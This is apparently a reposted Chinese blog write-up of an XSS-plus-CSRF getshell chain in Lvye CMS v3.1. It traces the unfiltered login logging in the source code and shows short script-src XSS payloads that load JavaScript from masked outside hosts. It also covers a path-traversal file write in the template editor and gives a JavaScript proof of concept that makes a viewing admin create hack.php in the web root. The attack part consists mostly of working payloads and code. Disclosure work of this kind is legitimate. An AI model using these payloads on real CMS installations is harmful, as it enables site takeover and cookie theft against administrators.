Lvye Cms v3.1 XSS+Csrf Getshell

颓废 2019年5月19日10:52:46评论922 views字数 2955阅读9分51秒阅读模式
摘要

问题在User.Class.php //78 - 95 line public function login($identifier, $password) { if (empty($identifier) || empty($password)) { return false; } //验证 $userInfo = $this->getUserInfo($identifier, $password); if (false == $userInfo) { //记录登录日志 $this->record($identifier, $password, 0); return false; } //记录登录日志 $this->record($identifier, $password, 1); //注册或登录 $this->registerLogin($userInfo); return true; } 无论登录成功或失败都会将账户密码记录登录日志

往下看record()函数
//123 - 131 line private function record($identifier, $password, $status = 0) { //登录日志 D('Admin/Loginlog')->addLoginLogs(array( "username" => $identifier, "status" => $status, "password" => $status ? '密码保密' : $password, "info" => is_int($identifier) ? '用户ID登录' : '用户名登录', )); } 到这里没有发现任何对XSS攻击的过滤(注入比较菜,tp框架表示玩不出来)

再追踪一下addLoginLog()函数
namespace AdminModel; use CommonModelModel; //删除一月前的登录日志 class LoginlogModel extends Model { protected $_auto = array( array('logintime', 'time', 1, 'function'), array('loginip', 'get_client_ip', 3, 'function'), ); //删除一月前的登录日志 public function deleteAMonthago() { $status = $this->where(array("logintime" => array("lt", time() - (86400 * 30))))->delete(); return $status !== false ? true : false; } //添加登录日志 public function addLoginLogs($data) { $this->create($data); return $this->add() !== false ? true : false; } } 依然没有看到针对XSS的过滤,直接添加登录日志到数据库中

也就是说我们可以在后台登录处输入XSS代码,程序会以添加日志的形式存入数据库中,然后在管理员查看登录日志后就会触发XSS。

1.1 储存型XSS

问题在User.Class.php

//78 - 95 line    public function login($identifier, $password) {         if (empty($identifier) || empty($password)) {             return false;         }         //验证         $userInfo = $this->getUserInfo($identifier, $password);         if (false == $userInfo) {             //记录登录日志             $this->record($identifier, $password, 0);             return false;         }         //记录登录日志         $this->record($identifier, $password, 1);         //注册或登录         $this->registerLogin($userInfo);         return true; }

无论登录成功或失败都会将账户密码记录登录日志

往下看record()函数

//123 - 131 line    private function record($identifier, $password, $status = 0) {         //登录日志         D('Admin/Loginlog')->addLoginLogs(array(             "username" => $identifier,             "status" => $status,             "password" => $status ? '密码保密' : $password,             "info" => is_int($identifier) ? '用户ID登录' : '用户名登录',         )); }

到这里没有发现任何对XSS攻击的过滤(注入比较菜,tp框架表示玩不出来)

再追踪一下addLoginLog()函数

namespace AdminModel; use CommonModelModel; //删除一月前的登录日志 class LoginlogModel extends Model {     protected $_auto = array(         array('logintime', 'time', 1, 'function'),         array('loginip', 'get_client_ip', 3, 'function'),     ); //删除一月前的登录日志     public function deleteAMonthago() {         $status = $this->where(array("logintime" => array("lt", time() - (86400 * 30))))->delete();         return $status !== false ? true : false; } //添加登录日志     public function addLoginLogs($data) {         $this->create($data);         return $this->add() !== false ? true : false;     } }

依然没有看到针对XSS的过滤,直接添加登录日志到数据库中

也就是说我们可以在后台登录处输入XSS代码,程序会以添加日志的形式存入数据库中,然后在管理员查看登录日志后就会触发XSS。
Lvye Cms v3.1 XSS+Csrf Getshell

Lvye Cms v3.1 XSS+Csrf GetshellLvye Cms v3.1 XSS+Csrf Getshell

但是这里有一个小坑,就是只会读取前40位的字符。

但是我们打cookie的XSS代码都已经超过了40位字符,即使是换成短网址也超过了40位

string(57) “<script src=http://******.***/dKv7hK?1499932292></script>“

短网址:

string(41) “<script src=http://t.cn/RK*3rXr></script>“

虽然短网址只超过了一位,但是插入进去是这样的:

截取了W></script>导致代码无效。

但是这并不难绕过,直接去除掉http头部分仍然可以解析js。

string(35) “<sCrIpT/sRc=//***.**/x.js></sCrIpT>“
1.1 XSS+CSRF=Getshell
StyleController.class.php文件部分代码

public function add() {        if (IS_POST) {            //取得文件名            $file = pathinfo(I('post.file'));            $file = $file['filename'] . C("TMPL_TEMPLATE_SUFFIX");            //模板内容            $content = Input::getVar(I('post.content', '', ''));            //目录            $dir = TEMPLATE_PATH . I('post.dir', '', '');            $dir = str_replace(array("//"), array("/"), $dir);            //检查目录是否存在            if (!file_exists($dir)) {                $this->error("¸ÃĿ¼²»´æÔÚ£¡");            }            //检测目录是否可写            if (!is_writable($dir)) {                $this->error('Ŀ¼ ' . $dir . ' ²»¿Éд£¡');            }            //完整新增文件路径            $filepath = $dir . $file;            if (file_exists($filepath)) {                $this->error("¸ÃÎļþÒѾ­´æÔÚ£¡");            }            //写入文件            $status = file_put_contents($filepath, htmlspecialchars_decode(stripslashes($content)));            if ($status) {

无视乱码

80-81行

$dir = TEMPLATE_PATH . I('post.dir', '', ''); $filepath = $dir . $file;

$dir获取目录后直接拼接拼接路径然后写入文件,只验证了路径是否存在就直接带入创建文件函数中

$status =

file_put_contents($filepath,htmlspecialchars_decode(stripslashes($content)));

直接使用../../穿越目录

Lvye Cms v3.1 XSS+Csrf Getshell

成功保存,这里还有任意文件读取和任意文件删除漏洞。不过没啥用,因为直接可以Getshell了。

配合之前的XSS,可以实现只要管理员访问了此页面,即可在本目录下生成hack.php

XSS POC:

var Shelldata='dir=Default%2F/../../../&file=hack.php&content='HACKER BY 4DMIN55';  try{  var xml = window.XMLHttpRequest ? (new XMLHttpRequest()) : (new ActiveXObject('Microsoft.XMLHTTP'));  xml.open("POST",'/index.php?g=Template&m=Style&a=add',false);  xml.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');  xml.onreadystatechange = function(){     if(xml.readyState == 4){} };  xml.send(Shelldata); } catch(e){}

创建项目:

Lvye Cms v3.1 XSS+Csrf GetshellLvye Cms v3.1 XSS+Csrf Getshell

访问localhost/hack.php,成功写入

Lvye Cms v3.1 XSS+Csrf Getshell

文章作者: ADminSS

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
颓废
  • 本文由 发表于 2019年5月19日10:52:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Lvye Cms v3.1 XSS+Csrf Getshellhttp://cn-sec.com/archives/68634.html

发表评论

匿名网友 填写信息